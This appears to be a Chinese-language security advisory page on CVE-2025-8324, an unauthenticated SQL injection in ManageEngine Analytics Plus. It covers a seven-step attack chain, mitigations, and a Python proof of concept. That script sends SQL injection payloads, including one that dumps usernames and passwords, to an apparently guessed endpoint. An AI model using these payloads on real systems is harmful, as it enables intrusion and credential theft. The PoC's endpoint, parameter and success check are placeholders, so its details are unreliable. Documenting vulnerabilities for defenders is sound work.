IPBUF安全漏洞报告
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CVE-2025-8324 CVSS 9.8 严重

CVE-2025-8324 | ManageEngine Analytics Plus 未授权SQL注入漏洞

披露日期: 2025-11-11
来源: 0fc0942c-577d-436f-ae8e-945763c79b02

漏洞信息

漏洞编号
CVE-2025-8324
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ManageEngine Analytics Plus

相关标签

SQL注入未授权访问ManageEngine Analytics PlusCVE-2025-8324严重漏洞网络攻击数据库安全过滤器配置缺陷远程代码执行Zoho Corporation

漏洞概述

CVE-2025-8324是Zoho Corporation ManageEngine Analytics Plus产品中的一个严重安全漏洞,CVSS评分高达9.8分(满分10分)。该漏洞属于未经身份验证的SQL注入(Unauthenticated SQL Injection)类型,源于不正确的过滤器配置(improper filter configuration)。攻击者可以通过网络远程利用此漏洞,无需任何用户凭证或交互即可实现对目标系统的完全入侵。由于CVSS向量显示攻击复杂度低(AC:L)、无需权限(PR:N)、无需用户交互(UI:N),且对机密性(C:H)、完整性(I:H)和可用性(A:H)均造成严重影响,因此该漏洞被评定为严重(CRITICAL)级别。受影响版本为6170及以下版本,强烈建议用户立即采取修复措施。

技术细节

该漏洞存在于ManageEngine Analytics Plus的过滤器配置模块中,由于对用户输入的过滤和验证机制存在缺陷,攻击者可以通过构造特制的HTTP请求注入恶意SQL语句。在未授权的情况下,攻击者能够直接向服务器端发送包含SQL注入载荷的请求,绕过认证机制执行任意数据库操作。漏洞利用的关键在于目标端点对输入参数缺乏足够的SQL注入防护,如未使用参数化查询或未对特殊字符进行转义处理。攻击者可通过UNION SELECT、布尔盲注、时间盲注等技术从数据库中提取敏感信息,包括用户凭证、配置文件数据、业务数据等,甚至可能通过OUTFILE或INTO OUTFILE等语句在服务器文件系统写入恶意文件,实现远程代码执行。鉴于该漏洞无需认证且可远程利用,具有极高的实际威胁性。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者对目标ManageEngine Analytics Plus实例进行扫描,识别版本信息(<=6170)和可访问的端点
STEP 2
步骤2
漏洞识别:定位存在不安全过滤器配置的服务端点,通常位于报告生成或数据过滤功能模块
STEP 3
步骤3
载荷构造:根据目标数据库类型(如MySQL、PostgreSQL),构造针对性的SQL注入载荷,如UNION注入、布尔盲注或时间盲注
STEP 4
步骤4
漏洞利用:通过HTTP请求向目标端点发送恶意SQL载荷,利用不当的输入过滤和验证缺陷执行注入攻击
STEP 5
步骤5
数据提取:成功注入后,攻击者可提取数据库中的敏感信息,包括用户凭证、业务数据、配置信息等
STEP 6
步骤6
权限提升/持久化:在某些情况下,攻击者可能通过SQL注入写入Webshell或创建管理员账户,实现持久化控制
STEP 7
步骤7
横向移动:获取数据库访问权限后,攻击者可能进一步探测内网环境,执行远程代码执行等高危操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-8324 Unauthenticated SQL Injection PoC # Target: ManageEngine Analytics Plus <= 6170 # Type: SQL Injection via improper filter configuration import requests import sys def exploit_sql_injection(target_url): """ SQL Injection PoC for CVE-2025-8324 This demonstrates the vulnerability in filter configuration """ # Target endpoint - typically in reporting/filter functionality endpoint = f"{target_url}/api/filter" # SQL Injection payload - testing with time-based blind injection # Adjust payload based on actual vulnerable parameter payloads = [ "' OR SLEEP(5)-- -", "' OR 1=1 UNION SELECT NULL-- -", "' AND (SELECT * FROM (SELECT SLEEP(5))a)-- -", "admin' OR '1'='1' -- -" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': '*/*' } print(f"[*] Target: {target_url}") print(f"[*] Testing {len(payloads)} SQL injection payloads...") for i, payload in enumerate(payloads, 1): print(f"\n[*] Testing payload {i}/{len(payloads)}") print(f"[*] Payload: {payload}") # Vulnerable parameter - adjust based on enumeration data = { 'filter_name': payload, 'report_id': '1' } try: response = requests.post( endpoint, data=data, headers=headers, timeout=10, verify=False ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Check for successful injection indicators if response.status_code == 200: if 'error' not in response.text.lower() or 'success' in response.text.lower(): print(f"[!] Potential vulnerability detected!") return True except requests.exceptions.Timeout: print(f"[!] Request timed out - potential blind SQL injection!") return True except Exception as e: print(f"[-] Error: {str(e)}") return False def extract_database_info(target_url): """ Extract database information after confirming vulnerability """ # Database version extraction payload db_version_payload = "' UNION SELECT @@version-- -" # Database name extraction payload db_name_payload = "' UNION SELECT database()-- -" # Users table extraction payload users_payload = "' UNION SELECT GROUP_CONCAT(user_name,':',password) FROM users-- -" print("\n[*] Extracting database information...") # Implementation would send these payloads and parse responses if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-8324.py <target_url>") print("Example: python cve-2025-8324.py https://analytics.example.com") sys.exit(1) target = sys.argv[1] if exploit_sql_injection(target): print("\n[!] Vulnerability confirmed! Proceeding with data extraction...") # extract_database_info(target) else: print("\n[-] No vulnerability detected or target not affected")

影响范围

ManageEngine Analytics Plus <= 6170

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)使用Web应用防火墙(WAF)配置SQL注入防护规则,拦截恶意请求;2)限制对ManageEngine Analytics Plus的直接网络访问,仅允许受信任的IP地址访问管理界面;3)禁用不必要的报告和过滤功能,减少攻击面;4)启用详细的审计日志,监控异常数据库查询行为;5)考虑部署入侵检测系统(IDS/IPS)监控SQL注入特征的攻击流量;6)定期备份数据库,以便在发生安全事件时快速恢复。建议尽快应用官方安全更新,这是最根本的解决方案。

参考链接

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